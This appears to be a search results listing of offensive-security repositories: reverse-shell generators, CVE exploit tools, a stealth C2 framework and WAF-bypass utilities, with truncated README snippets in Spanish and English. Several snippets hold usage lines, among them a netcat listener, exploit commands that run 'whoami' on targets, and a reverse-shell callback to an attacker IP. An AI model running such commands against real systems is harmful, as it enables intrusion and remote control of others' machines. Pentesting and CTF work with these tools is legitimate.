9089 matches found
reverse-shell-generator
reverse-shell-generator Generador de Reverse Shell alojado con mucha funcionalidad -- ideal para CTFs Instancia Alojada https://revshells.com Características Generar listeners comunes y reverse shells Botón de guardar para descargar Payloads desde el navegador. Modo raw para hacer cURL de shells ...
CVE-2026-31816-rshell
CVE-2026-31816 Reverse Shell Exploit Overview This tool exploits CVE-2026-31816 to establish a reverse shell connection on a target Budibase server. Attack Chain : Authentication Bypass → Upload DATASOURCE Plugin → Server-side Code Execution → Reverse Shell Requirements Python 3.6+ requests libra...
Awesome-Hacking-Resources
Awesome Hacking Resources Una colección curada de recursos de hacking, pruebas de penetración y red-teaming de IA para hacerte mejor. Hagámoslo el repositorio de recursos más grande para nuestra comunidad. Eres bienvenido a hacer fork y contribuir. También mantenemos una lista complementaria de...
hoaxshell
hoaxshell ⚡ The latest version of this project is the HoaxShell standalone listener which comes with refreshed payload templates. Wou can also use it directly from https://revshells.com make sure to choose hoaxshell as the listener. ⚠️ As of 2022-10-18, hoaxshell is detected by AMSI...
CVE-2025-54123
CVE-2025-54123 Hoverfly CVE RCE Uso Ejecución de comandos: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -c whoami Shell inversa: nc -lvnp 443 python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -r $IP 443 Descargo de responsabilidad Este script tie...
hakoriginfinder
hakoriginfinder Herramienta para descubrir el host de origen detrás de un proxy inverso. Útil para eludir WAF y otros proxies inversos. ¿Cómo funciona? Esta herramienta primero realiza una solicitud HTTP al hostname/URL que proporcione y almacena la respuesta, luego realiza una solicitud a cada...
hakoriginfinder
hakoriginfinder Tool for discovering the origin host behind a reverse proxy. Useful for bypassing WAFs and other reverse proxies. How does it work? This tool will first make a HTTP request to the hostname/URL that you provide and store the response, then it will make a request to every IP address...
resolvers
Resolvers The most exhaustive list of reliable DNS resolvers resolvers.txt: A simple list of resolver IP addresses, which you can pass directly to your DNS enumeration tool. resolvers-extended.txt: All of the resolvers in resolvers.txt with additional information about each server, including the...
emp3r0r
emp3r0r A self-healing, memory-only C2 for Linux and Windows — agents that survive broken links, never touch disk, and script their way through the Win32 API. What is emp3r0r? emp3r0r is a post-exploitation framework and C2 built for Linux and Windows environments where stealth and resilience...
log4j-exploit-builder
log4j-exploit-builder Script to create a log4j CVE-2021-44228 exploit with support for different methods of getting a reverse shell NOTE: The code was speedrunned and will improve in the future...
dumpulator
dumpulator Nota: Este es un prototipo en desarrollo, trátelo como tal. ¡Se aceptan pull requests! Puede comenzar conbuenos primeros issues Una biblioteca fácil de usar para emular código en archivos minidump. Aquí hay algunos enlaces a publicaciones/videos que usan dumpulator: Video de introducci...
CVE-2026-21962
CVE-2026-21962 CVE-2026-21962 EXAMPLE Single target python3 CVE-2026-21962.py http://target:7001 -c "whoami" Batch + default whoami python3 CVE-2026-21962.py -f url.txt Batch + custom command + change thread count python3 CVE-2026-21962.py -f url.txt -c "id" --threads 20 -o result.txt Reverse she...
HTTP-revshell
Shell inversa HTTP/S en Powershell HTTP-revshell es una herramienta enfocada en ejercicios de redteam y pentesters. Esta herramienta proporciona una conexión inversa a través del protocolo HTTP/S. Utiliza un canal encubierto para obtener control sobre la máquina víctima mediante peticiones web y...
Triton
Triton es una librería de análisis binario dinámico. Proporciona componentes internos que permiten construir herramientas de análisis de programas, automatizar la ingeniería inversa, realizar verificación de software o simplemente emular código. Ejecución simbólica dinámica Análisis dinámico de...
Struts2_S2-062_CVE-2021-31805
Struts2S2-062CVE-2021-31805 Apache Struts2 S2-062 Remote Code Execution Vulnerability CVE-2021-31805 | Reverse Shell Vulnerability Reproduction Environment docker-compose.yml version: '2' services: struts2: image: vulhub/struts2:2.5.25 ports: - "8080:8080" Pull the image and start the environment...
MARA_Framework
MARAFramework MARA es un M obile A pplication R everse engineering and A nalysis Framework. Es una herramienta que reúne herramientas de análisis y de ingeniería inversa de aplicaciones móviles comúnmente utilizadas, para ayudar en la prueba de aplicaciones móviles contra las amenazas de segurida...
webkiller
WebKiller V2 Tool Information Gathering Write With Python. PreView ██╗ ██╗███████╗██████╗ ██╗ ██╗██╗██╗ ██╗ ███████╗██████╗ ██║ ██║██╔════╝██╔══██╗██║ ██╔╝██║██║ ██║ ██╔════╝██╔══██╗ ██║ █╗ ██║█████╗ ██████╔╝█████╔╝ ██║██║ ██║ █████╗ ██████╔╝ ██║███╗██║██╔══╝ ██╔══██╗██╔═██╗ ██║██║ ██║ ██╔══╝...
CVE-2021-42342
CVE-2021-42342 CVE-2021-42342 RCE POC1:just prints include include include include static void beforemainvoid attributeconstructor; static void beforemainvoid write1, "Hello World!\n", 14; POC2: reverse shell include include include include char serverip=""; uint32t serverport=7777; static void...
CVE-2021-43857
CVE-2021-43857 Gerapy prior to version 0.9.8 is vulnerable to remote code execution. This issue is patched in version 0.9.8. CVE-2021-43857 is a vulnerability marked as Critical priority CVSS 9.8 leading to remote code execution. This vulnerability works on all versions prior to 0.9.8. Tested onl...